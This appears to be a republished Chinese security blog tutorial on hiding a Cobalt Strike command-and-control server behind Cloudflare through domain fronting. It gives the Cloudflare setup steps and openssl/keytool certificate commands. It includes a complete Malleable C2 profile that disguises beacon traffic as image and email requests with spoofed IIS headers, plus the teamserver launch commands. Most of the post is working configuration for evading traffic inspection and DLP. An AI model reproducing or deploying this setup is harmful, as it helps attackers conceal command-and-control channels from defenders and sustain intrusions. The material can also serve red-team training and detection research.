Domain Fronting隐藏C2服务器IP

admin 2025年5月28日22:53:05评论6 views字数 2873阅读9分34秒阅读模式

域前置简介

域前置(Domain Fronting)基于 HTTPS 通用规避技术,也被称为域前端网络攻击技术。这是一种用来隐藏 Metasploit、Cobalt Strike 等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测的技术,如 Amazon、Google、Akamai 等大型厂商会提供一些域前端技术服务。    域前置技术原理(CDN 分发)  通过 CDN 节点将流量转发到真实的 C2 服务器,其中 CDN 节点 IP 通过识别请求的 HOST 头进行流量转发,利用我们配置域名的高可信度,如我们可以设置一个微软的子域名,可以有效的躲避 DLP、agent 等流量检测。    工作原理(也就是 CDN 工作原理)  域前置的核心是 CDN  CDN 工作原理: 同一个 IP 可以被不同的域名进行绑定加速,再通过 HTTP 请求包头里的 HOST 域名来确定访问哪一个。

1.准备工作

C2域名CloudFlare账号C2服务器

2.配置域名 

(1)配置ns服务器设置为cf的地址解析

Domain Fronting隐藏C2服务器IP

(2)设置dns解析

Domain Fronting隐藏C2服务器IP

(3)缓存配置

xxx.com/**.xxx.com/*
Domain Fronting隐藏C2服务器IP

(4)申请客户端证书

Domain Fronting隐藏C2服务器IP

(5)保存证书至本地

Domain Fronting隐藏C2服务器IP

3.C2证书配置

(1)生成C2证书

Domain Fronting隐藏C2服务器IP
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:test123

(2)创建store

证书密码为生成cfcert.p12设置的密码

keytool -importkeystore -deststorepass test123 -destkeypass test123 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass test123 -alias cloudflare_cert

4.配置 Malleable-C2-Profiles文件

使用公开项目加上证书配置:

https-certificate {    set keystore "cfcert.store";        #证书名字    set password "test123";             #证书密码}

公开项目地址:https://github.com/rsmudge/Malleable-C2-Profiles

cdn.profile

https-certificate {    set keystore "cfcert.store";        #证书名字    set password "test123";                #证书密码}#以上没有配置cloudflare的时候可以先不写http-get {    set uri "/image/";    client {        header "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";        header "Referer""http://www.google.com";        header "Host""xxx.com";  #域名,还没有配置cloudflare的时候这一行注释掉        header "Pragma""no-cache";        header "Cache-Control""no-cache";        metadata {            netbios;            append ".jpg";  # 传输内容自动追加的后缀            uri-append;        }    }    server {        header "Content-Type""img/jpg";        header "Server""Microsoft-IIS/6.0";        header "X-Powered-By""ASP.NET";        output {            base64;  # 加密方式(base64、base64url、netbios、netbiosu)            print;        }    }}http-post {    set uri "/email/";    client {        header "Content-Type""application/octet-stream";        header "Referer""http://www.google.com"        header "Host""xxx.com";  #域名,还没有配置cloudflare的时候这一行注释掉        header "Pragma""no-cache";        header "Cache-Control""no-cache";        id {            netbiosu;            append ".png";            uri-append;        }        output {            base64;            print;        }    }    server {        header "Content-Type""img/jpg";        header "Server""Microsoft-IIS/6.0";        header "X-Powered-By""ASP.NET";        output {            base64;            print;        }    }}

5.检查配置文件

./c2lint cdn.profile
Domain Fronting隐藏C2服务器IP
Domain Fronting隐藏C2服务器IP

6.服务端启动

./teamserver vpsip test123 cdn.profile
Domain Fronting隐藏C2服务器IP

7.客户端启动

(1)配置监听器

Domain Fronting隐藏C2服务器IP
Domain Fronting隐藏C2服务器IP
Domain Fronting隐藏C2服务器IP

8.总结

在同一个CDN厂商下,如果存在两个域名 a.com 和 b.com,您可以使用 curl 命令访问 a.com 时将主机名(host)改为 b.com,此时返回的内容实际上是 b.com 的。一般的监测机制不会检查 host 头,因此可以通过一个高信任域名来隐藏真实的域名和IP地址,同时受害主机的流量只与CDN通信,而不会与真实的C2(Command and Control)服务器直接交互。

域前置技术与CDN技术相似,都使用CDN服务,但域前置技术必须启用HTTPS,它基于TLS协议,并且需要修改请求包的host头,这通常通过更改可变配置文件(malleable profile)来实现。相比之下,CDN技术在创建后直接使用,无需过多配置。

此外,CDN技术只能使用自己的域名,一旦其域名被列入黑名单则会失效;而域前置技术可以利用他人的高信誉域名(例如,微软的域名)来伪装自己,前提是该域名与目标域名位于同一CDN下。然而,这种技术在许多CDN厂商中已被禁止,因此不一定能成功实现。

参考链接:

https://webxxe.cn/index.php/archives/238/

https://www.anquanke.com/post/id/195011

原文始发于微信公众号(朱厌安全):Domain Fronting隐藏C2服务器IP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月28日22:53:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Domain Fronting隐藏C2服务器IPhttps://cn-sec.com/archives/4107477.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息